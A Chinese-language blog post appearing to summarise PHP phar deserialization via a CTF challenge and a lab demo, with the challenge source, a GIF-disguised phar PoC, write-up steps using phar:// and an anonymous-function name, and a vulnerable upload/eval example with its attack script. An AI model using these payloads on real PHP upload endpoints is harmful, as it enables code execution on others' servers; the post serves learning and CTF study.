phar 反序列化小结

初次接触 phar 反序列化,看到 ph 牛圈子以前以本题为例讨论过这个知识点,学习一下

题目

思路分析

  • 判断 cookie 中是否含有 session-data ,没有就赋值为 $data-----$hmac,其中 $dataUser 类序列化后的字符串, $hmac$data$SECRET 为密钥,进行 sha1 加密后的字符串

    $SANDBOX = "/var/www/data/".md5("orange".$_SERVER["REMOTE_ADDR"]);
    
    if (!isset($_COOKIE["session-data"])) {
        $data = serialize(new User($SANDBOX));
        $hmac = hash_hmac("sha1", $data, $SECRET); 
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); 
    } 
    
    class User {
        public $avatar;
        function __construct($path) {
            $this->avatar = $path; 
        } 
    } 
  • 有个 check_session 函数,获取 session-data 中的 $data$hmac,并进行三次判断

    1. $data$hmac 必须存在且均为字符串
    2. hash_hmac("sha1", $data, $SECRET) 必须和 $hmac 相等
    3. $data 反序列化后的结果必须含有 avatar 属性,这个 avatar 是一个路径。最终函数返回 avatar
    function check_session() {
        global $SECRET; 
        $data = $_COOKIE["session-data"]; 
        list($data, $hmac) = explode("-----", $data, 2); 
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) 
            die("Bye"); 
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) 
            die("Bye Bye"); 
        $data = unserialize($data); 
        if ( !isset($data->avatar) ) 
            die("Bye Bye Bye"); 
        return $data->avatar; 
    } 
  • 获取 get 的参数赋值给 $mode ,如果 $modeupload 则调用 upload(check_session())。这一段的意思就是获取主目录下的 avatar.gif 复制到 $SANDBOX 目录下

    function upload($path) {
        $data = file_get_contents($_GET["url"]."/avatar.gif");
        if (substr($data, 0, 6) !== "GIF89a")
            die("Fuck off");
        file_put_contents($path."/avatar.gif", $data);
        die("Upload OK"); 
    } 
  • 如果 $modeshow 则调用 show(check_session())。将目录下的 avatar.gif 输出

    function show($path) {
        if ( !file_exists($path."/avatar.gif") )
            $path = "/var/www/html";
        header("Content-Type: image/gif");
        die(file_get_contents($path."/avatar.gif"));
    } 
  • 题目还给了一段代码,这里是可以通过反序列化构造出 Admin 对象然后触发析构函数,但是后面的 hash_hmac 函数无法绕过

    class Admin extends User {
        function __destruct(){
            $random = bin2hex(openssl_random_pseudo_bytes(32));
            eval("function my_function_$random() {"."  global \$FLAG; \$FLAG();"."}");
            $_GET["lucky"]();
        }
    }

phar 反序列化

  • phar 提供了将多个 php 文件合成一个 phar 文件的功能,类似于 java 中的 jar

  • php 在解析 phar 文件的 Metadata 时可能会触发反序列化操作

  • phar 会默认注册 phar:// 协议,在用 phar:// 协议读取文件的时候会自动解析成 phar 对象,同时反序列化其中存储的 Metadata 信息

  • 示例代码

    <?php
    // 生成 test.phar 文件,并将 php.ini 中的 phar.readonly 改为 off
    $phar = new Phar('test.phar', 0, 'test.phar');
    // 将字符串写入到 test.php 中
    $p['test.php'] = 'string';
    // 向 phar 中写入 meta-data
    $p->setMetadata(new User());
    // 可以理解为文件头的标识部分,前面内容不限,但是必须以 <?php __HALT_COMPILER(); ?> 结尾,否则无法识别为 phar 文件
    $p->setStub('xxxxx<?php __HALT_COMPILER(); ?>');
    ?>
  • 本题 avatar.gif 的 poc

    扫描二维码关注公众号,回复: 7261250 查看本文章
    <?php
    class Admin {
        public $avatar = 'orz';  
    } 
    $p = new Phar(__DIR__.'/avatar.phar', 0);
    $p['file.php'] = 'idlefire';
    $p->setMetadata(new Admin());
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    rename(__DIR__.'/avatar.phar', __DIR__.'/avatar.gif');
    ?>

另外两个知识点

  • 构造好反序列化对象之后,可以进入 __distruct() 方法,其中执行了 $_GET["lucky"]();,就相当于执行一个无参函数,本题的意思就是执行获取 flag 的函数
  • 本题获取 flag 的函数是使用 create_function 创建,是一个匿名函数,无法使用 get_defined_functions() 获取函数名
  • 匿名函数名字是 \x00lambda_%d 这个 %d 是一个 1 开始的递增数列,表示这是当前进程中第%d个匿名函数。
  • 如果一个崭新的 PHP 进程,其第 1 个匿名函数就是 \x00lambda_1,所以只需要传入 lucky=%00lambda_1 即可。
  • 但是实战中,因为有很多人做题,每个人访问一次网页,就会使 %d 加 1 ,所以我们并不知道自己访问时的这个 %d 是多少。
  • 这就涉及到第三个考点,我们通过大量请求,使目标 Apache 难以同时处理这么多请求,所以以 Pre-fork 模式启动的 Apache 会启动新进程来处理这个请求。那么,新进程下 %d 就是以 1 重新开始的

write up

  • https://www.jianshu.com/p/19e3ee990cb7
  • 将生成的 gif 放到 vps 里
  • 然后构造 url : ?m=upload&url=http://xxx.xxx.xxx.xxx 将 文件上传
  • 运行 Orange 的 fork 脚本
  • 请求 ?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1 得到 flag
  • 这里再次上传时,upload 中的 file_get_contents 触发 phar 反序列化,执行 $_GET["lucky"]();

小结

不必在意最后的 exp,只需要关注这些知识点即可。

  1. 了解 phar 反序列化
  2. 类似 $_GET["lucky"](); 的沙盒,使用 get_defined_functions() 获取函数名直接执行
  3. 匿名函数函数名

加深印象的 phar 反序列化操作

原文 : https://www.freebuf.com/articles/web/205943.html

生成 phar 文件

  • 测试代码

    <?php
    // phar_1.php
    class TestObeject{}
    
    $phar = new Phar('test.phar', 0, 'test.phar');
    $phar->startBuffering();
    $phar->setStub('xxxxx<?php __HALT_COMPILER(); ?>');
    
    $o = new TestObeject();
    $o->data = 'peri0d';
    
    $phar->setMetadata($o);
    $phar->addFromString('text.txt','test');
    $phar->stopBuffering();
    ?>
  • 执行完毕后会生成一个 test.phar 文件,其中的 meta-data 是以序列化的形式出现的。那么 php 函数在对 phar 文件进行解析时,就必伴随着反序列化的操作

  • xxxxx<?php __HALT_COMPILER(); ?> 为 phar 文件首部,meta-data 序列化内容为 O:11:"TestObeject":1:{s:4:"data";s:6:"peri0d";}

测试 phar 反序列化漏洞

  • 漏洞代码

    <?php
    // phar_2.php
    class TestObeject{
      public function __destruct()
      {
          echo $this->data;
      }
    }
    
    include('phar://test.phar');
    ?>
  • 输出结果

    xxxxxperi0d

将 phar 伪造成其他格式的文件

  • 测试代码

    <?php
    // phar_3.php
    class TestObeject{}
    
    $phar = new Phar('test2.phar', 0, 'test2.phar');
    $phar->startBuffering();
    $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    
    $o = new TestObeject();
    $o->data = 'peri0d';
    
    $phar->setMetadata($o);
    $phar->addFromString('text.txt','test');
    $phar->stopBuffering();
    ?>
  • 结果

例子

  • index.html 前端上传页面

    <html>
    <body>
    <form action="./upload_file.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" />
        <input type="submit" name="Upload" />
    </form>
    </body>
    </html>
  • upload_file.php 判断文件类型并存储

    <?php
    if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
        echo "Upload: " . $_FILES["file"]["name"];
        echo "Type: " . $_FILES["file"]["type"];
        echo "Temp file: " . $_FILES["file"]["tmp_name"];
    
        if (file_exists("upload_file/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload_file/" .$_FILES["file"]["name"]);
          echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
          }
        }
    else
      {
      echo "Invalid file,you can only upload gif";
      }
  • evil.php 测试用的危险函数

    <?php
    $filename=$_GET['filename'];
    class AnyClass{
        var $output = 'echo "peri0d";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    file_exists($filename);
  • 构造 attack.php 生成攻击代码,访问该文件会生成一个 phar.phar 文件,然后将其后缀改为 .gif ,上传该 gif 文件

    <?php
    
    class AnyClass{
        var $output = 'echo "peri0d";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    
    $phar = new Phar('phar.phar',0,'phar.phar');
    $phar->startBuffering();
    $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    
    $o = new AnyClass();
    $o->output = 'phpinfo();';
    
    $phar->setMetadata($o);
    $phar->addFromString('text.txt','test');
    $phar->stopBuffering();
  • 利用 evil.php 构造 payload : filename=phar://upload_file/phar.gif

猜你喜欢

转载自www.cnblogs.com/peri0d/p/11508898.html